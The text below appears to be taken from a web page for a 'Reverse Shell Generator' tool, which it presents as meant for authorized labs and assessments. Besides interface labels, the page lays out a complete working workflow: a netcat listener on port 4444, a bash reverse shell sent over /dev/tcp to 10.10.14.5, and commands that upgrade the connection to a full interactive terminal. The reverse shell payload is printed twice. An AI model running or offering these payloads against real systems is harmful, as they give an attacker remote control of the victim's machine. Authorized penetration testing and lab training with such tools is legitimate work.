Reverse Shell Generator

Build payloads, listeners, and stabilization steps for authorized labs and assessments with presets, filters, validation, copy formats, and shareable settings.

Workbench mode

Choose a payload, align the listener, copy a workflow, and keep stabilization commands close at hand.

Payload presets

Start from a common shell scenario, then refine host, port, filters, and listener.

Connection settings

Payload filters

16 payload variants match the current filters.

Listener commands

Shell workflow

Step 1

Start listener

Step 2

Deliver payload

Step 3

Upgrade PTY

Step 4

Set terminal

# 1. Start listener
nc -lvnp 4444

# 2. Run payload on authorized target
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

# 3. Stabilize shell when connected
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm-256color

Generated payload

Bash interactive - TCP

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1